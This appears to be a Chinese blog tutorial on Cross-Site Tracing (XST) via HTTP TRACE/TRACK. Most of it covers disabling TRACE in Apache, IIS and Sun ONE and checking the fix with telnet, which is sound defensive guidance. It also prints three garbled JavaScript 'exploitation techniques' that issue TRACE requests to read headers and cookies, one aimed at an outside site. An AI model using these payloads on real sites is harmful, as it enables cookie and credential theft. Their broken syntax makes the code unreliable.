http TRACE 跨站攻击
如果webserver支持TRACE 和/或 TRACK 方式。 TRACE和TRACK是用来调试web服务器连接的HTTP方式。
支持该方式的服务器存在跨站脚本漏洞,通常在描述各种浏览器缺陷的时候,把"Cross-Site-Tracing"简称为XST。
攻击者可以利用此漏洞欺骗合法用户并得到他们的私人信息。
解决方案: 禁用这些方式。
什么是“跨站攻击”呢?业界对其定义如下:“跨站攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。”由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码,例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。如这句简单的Java脚本就能轻易获取用户信息:alert(document.cookie),它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中,稍做分析便获取了用户的敏感信息。
跨站攻击有多种方式,典型的方式有两种:其一,由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。其二,大家都知道,
XST攻击描述:
攻击者将恶意代码嵌入一台已经被控制的主机上的web文件,当访问者浏览时恶意代码在浏览器中执行,然后访问者的cookie、http基本验证以及ntlm验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致cookie欺骗或者是中间人攻击。
XST攻击条件:
1、需要目标web服务器允许Trace参数;
2、需要一个用来插入XST代码的地方;
3、目标站点存在跨域漏洞。
XST与XSS的比较:
相同点:都具有很大的欺骗性,可以对受害主机产生危害,而且这种攻击是多平台多技术的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。
优点:可以绕过一般的http验证以及NTLM验证
如何利用:
手法1:
<SCRIPT type=text/java script>
<!--
function xssTRACE(){
var xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE",");
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//-->
</SCRIPT>
<BR><INPUT onclick=xssTRACE(); type=button value="XSS TRACE">
手法2:
<SCRIPT type=text/java script>
<!--
function xssTRACE() {
var openWin=open("blank.htm","swords","width=500,height=400");
var otraceswords=openWin.external;
openWin.location.href=http://www.winshell.cn/swords/;
setTimeout(
function () {
//以下必须写在一行
otraceswords.NavigateAndFind(java script:xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE",""不用document.cookie 显示站点http://www.winshell.cn/的头信息。\n" + xmlDoc);,"","");
},
1024
);
}
//-->
</SCRIPT>
<BR><INPUT onclick=xssTRACE(); type=button value="XSS TRACE">
手法3:
<SCRIPT type=text/java script>
function xssTRACE(){
var swords = "var xmlHttp = new ActiveXObject(";
var target = http://www.winshell.cn/swords/;
spinach = encodeURIComponent(swords + ;top.close());
var readyCode = font-size:expression(execScript(decodeURIComponent(" + spinach + ")));
showModalDialog(target, null, readyCode);
}
</SCRIPT>
<BR><INPUT onclick=xssTRACE() type=button value="XSS TRACE">
用apache+mysql+php在win2003架设web服务器,扫描服务器:
提示 www (80/tcp)
http TRACE 跨站攻击
你的webserver支持TRACE 和/或 TRACK 方式。 TRACE和TRACK是用来调试web服务器连接的HTTP方式。
支持该方式的服务器存在跨站脚本漏洞,通常在描述各种浏览器缺陷的时候,把"Cross-Site-Tracing"简称为XST。
攻击者可以利用此漏洞欺骗合法用户并得到他们的私人信息。
解决方案: 禁用这些方式。
如果你使用的是Apache, 在各虚拟主机的配置文件里添加如下语句:
RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
如果你使用的是Microsoft IIS, 使用URLScan工具禁用HTTP TRACE请求,或者只开放满足站点需求和策略的方式。
如果你使用的是Sun ONE Web Server releases 6.0 SP2 或者更高的版本, 在obj.conf文件的默认object section里添加下面的语句:
<Client method="TRACE">
AuthTrans fn="set-variable"
remove-headers="transfer-encoding"
set-headers="content-length: -1"
error="501"
</Client>
如果你使用的是Sun ONE Web Server releases 6.0 SP2 或者更低的版本, 编译如下地址的NSAPI插件:
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F50603
参见http://www.whitehatsec.com/press_releases/WH-PR-20030120.pdf
http://archives.neohapsis.com/archives/vulnwatch/2003-q1/0035.html
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F50603
http://www.kb.cert.org/vuls/id/867593
下面介绍一下怎样打开apache的mod_rewrite功能。
#tar -zxvf httpd-2.0.59.tar.gz
#cd httpd-2.0.59
#./configure --prefix=/opt/apache2 --enable-modules=so --enable-module=rewrite --enable-shared=rewrite --enable-shared=max
#make
#make install
apache安装完毕,下面来加载编译mod_rewrite.so这个模块。
#cd /soft/httpd-2.0.59/modules/mappers
#/opt/apache2/bin/apxs -c mod_rewrite.c -lgdbm
#gcc -shared -o mod_rewrite.so mod_rewrite.o -lgdbm
#/opt/apache2/bin/apxs -i -A -n rewrite mod_rewrite.so
是Apache, 在各虚拟主机的配置文件里添加如下语句:
LoadModule rewrite_module modules/mod_rewrite.so
RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
apache关闭方法可以直接在配置文件http.conf添加TraceEnable off 关闭 有版本要求 好像是2.0以上
在httpd.conf下搜索Global 在
### Section 1: Global Environment
下面加 TraceEnable off
保存OK
如何测试呢.这样
在cmd下输入
telnet 127.0.0.1 80
然后在黑屏状态下输入
TRACE / HTTP/1.0
Host: foo
(foo 可随便写)
HTTP/1.1 200 OK
Date: Sat, 20 Oct 2007 20:39:36 GMT
Server: Apache/2.2.6 (Debian) PHP/4.4.4-9 mod_ruby/1.2.6 Ruby/1.8.6(2007-06-07)
Connection: close
Content-Type: message/http
TRACE / HTTP/1.0
Host: foo
Any text entered here will be echoed back in the response
Connection closed by foreign host.
在添加TraceEnable off之后,应返回
HTTP/1.1 403 Forbidden
Date: Sat, 20 Oct 2007 20:38:31 GMT
Server: Apache/2.2.6 (Debian) PHP/4.4.4-9 mod_ruby/1.2.6 Ruby/1.8.6(2007-06-07)
Content-Length: 320
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML(link) PUBLIC "-//IETF//DTD HTML(link) 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /
on this server.</p>
<hr>
<address>Apache/2.2.6 (Debian) PHP/4.4.4-9 mod_ruby/1.2.6 Ruby/1.8.6(2007-06-07) Server at foo Port 80</address>
</body></html>
Connection closed by foreign host.
HTTP/1.1 200 OK
221:/etc/apache2# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
TRACE / HTTP/1.0
Host: foo
HTTP/1.1 400 Bad Request
Date: Fri, 24 Aug 2012 03:29:45 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny16 with Suhosin-Patch mod_python/3.3.1 Python/2.5.2 mod_perl/2.0.4 Perl/v5.10.0
Vary: Accept-Encoding
Content-Length: 466
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Request header field is missing ':' separator.<br />
<pre>
</pre>
</p>
<hr>
<address>Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny16 with Suhosin-Patch mod_python/3.3.1 Python/2.5.2 mod_perl/2.0.4 Perl/v5.10.0 Server at 0.0.0.221 Port
80</address>
</body></html>
Connection closed by foreign host.
至此,可通过安全测试